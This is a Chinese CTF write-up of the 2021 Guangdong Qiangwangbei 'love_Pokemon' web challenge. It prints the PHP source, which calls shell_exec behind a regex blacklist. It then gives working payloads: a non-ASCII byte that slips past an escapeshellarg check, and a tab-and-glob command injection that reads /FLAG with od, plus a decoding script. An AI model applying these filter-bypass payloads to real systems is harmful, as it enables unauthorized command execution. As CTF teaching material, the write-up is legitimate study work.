[广东强网杯 2021 团队组]love_Pokemon 复现详解

13 篇文章 0 订阅
2 篇文章 0 订阅

[广东强网杯 2021 团队组]love_Pokemon

源码:

<?php

error_reporting(0);

highlight_file(__FILE__);

$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';

if(!file_exists($dir)){

    mkdir($dir);

}

function DefenderBonus($Pokemon){

    if(preg_match("/'| |_|\\$|;|l|s|flag|a|t|m|r|e|j|k|n|w|i|\\\\|p|h|u|v|\\+|\\^|\`|\~|\||\"|\<|\>|\=|{|}|\!|\&|\*|\?|\(|\)/i",$Pokemon)){

        die('catch broken Pokemon! mew-_-two');

    }

    else{

        return $Pokemon;

    }

}

function ghostpokemon($Pokemon){

    if(is_array($Pokemon)){

        foreach ($Pokemon as $key => $pks) {

            $Pokemon[$key] = DefenderBonus($pks);

        }

    }

    else{

        $Pokemon = DefenderBonus($Pokemon);

    }

}

switch($_POST['myfavorite'] ?? ""){

    case 'picacu!':

        echo md5('picacu!').md5($_SERVER['REMOTE_ADDR']);

        break;

    case 'bulbasaur!':

        echo md5('miaowa!').md5($_SERVER['REMOTE_ADDR']);

        $level = $_POST["levelup"] ?? "";

    if ((!preg_match('/lv100/i',$level)) && (preg_match('/lv100/i',escapeshellarg($level)))){

            echo file_get_contents('./hint.php');

        }

        break;

    case 'squirtle':

        echo md5('jienijieni!').md5($_SERVER['REMOTE_ADDR']);

        break;

    case 'mewtwo':

        $dream = $_POST["dream"] ?? "";

        if(strlen($dream)>=20){

            die("So Big Pokenmon!");

        }

        ghostpokemon($dream);

        echo shell_exec($dream);

}

?>

  1. 1.获得hint.php

获得hint.php的条件就是先满足switch这个循环 当满足case为 bulbasaur! 的时候它才会去执行下面这个匹配函数

那么这个就是说输入的字符串不包含lv100,但是经过escapeshellarg()处理之后含有lv100

这里就是一个escapeshellarg() 的考点

escapeshellarg 的作用是把字符串转码为可以在 shell 命令里使用的参数。(escapeshellarg 和 escapeshellcmd 相似,主要看是否有引号)

那么这里就可以使用漏洞:escapeshellarg()这个函数在处理超过ASCII码范围的字符的时候会直接过滤掉该字符串

那么我们直接我们可以用%81去绕过,因为%81为不可见字符(当然还有其他的)

那最终这里的paylaod:myfavorite=bulbasaur!&levelup=lv%81100

 

得到重要的提示是flag文件的路径为 /FLAG

2.去获得flag

想获得flag那我们就要去找输出口 显然shell_exec()就是我们需要的函数

 

那么这里有个条件就是 post传入的dream的长度不能超过20字节

那我们直接传入dream=cat /FLAG 肯定是不行的,因为上边存在过滤

把flag(大小写)和空格一些字符都过滤了那么这里的重点就是如何绕过

(1)绕过空格好说

(2)如何使用读取命令

使用od命令

od 是一个在Unix和Linux系统上可用的命令行工具,用于以不同的格式显示文件的内容。它的名称代表"octal dump"(八进制转储),因为它最初的目的是以八进制形式显示文件的内容

(3)如何绕过FLAG

这里用到了[]通配的形式,由于黑名单中有A何L这两个字符,因此构造F[B-Z][@-Z]G,这样就能匹配上ASCII表中的@到Z之间的所有字符

所以最终的payload:myfavorite=mewtwo&dream=od%09/F[B-Z][@-Z]G

长度也小于20

得到一个8进制数字  把他转为字符串就可以得到flag了

这里附加一个8进制转字符串的py脚本

d

ump = "0000000 051516 041523 043124 034173 061062 063061 060544 026546 0000020 032464 034146 032055 033541 026462 062141 034461 034455 0000040 031060 034541 060470 032065 061067 076541 000012 0000055"

octs = [("0o" + n) for n in  dump.split(" ") if n]

hexs = [int(n, 8) for n in octs]

result = ""

for n in hexs:

    if (len(hex(n)) > 4):

        swapped = hex(((n << 8) | (n >> 8)) & 0xFFFF)

        result += swapped[2:].zfill(4)

print(bytes.fromhex(result).decode())

总结:

  1. 如何绕过escapeshellarg()函数
2.命令执行绕过WAF来执行RCE
  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

W3nd4L0v3

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值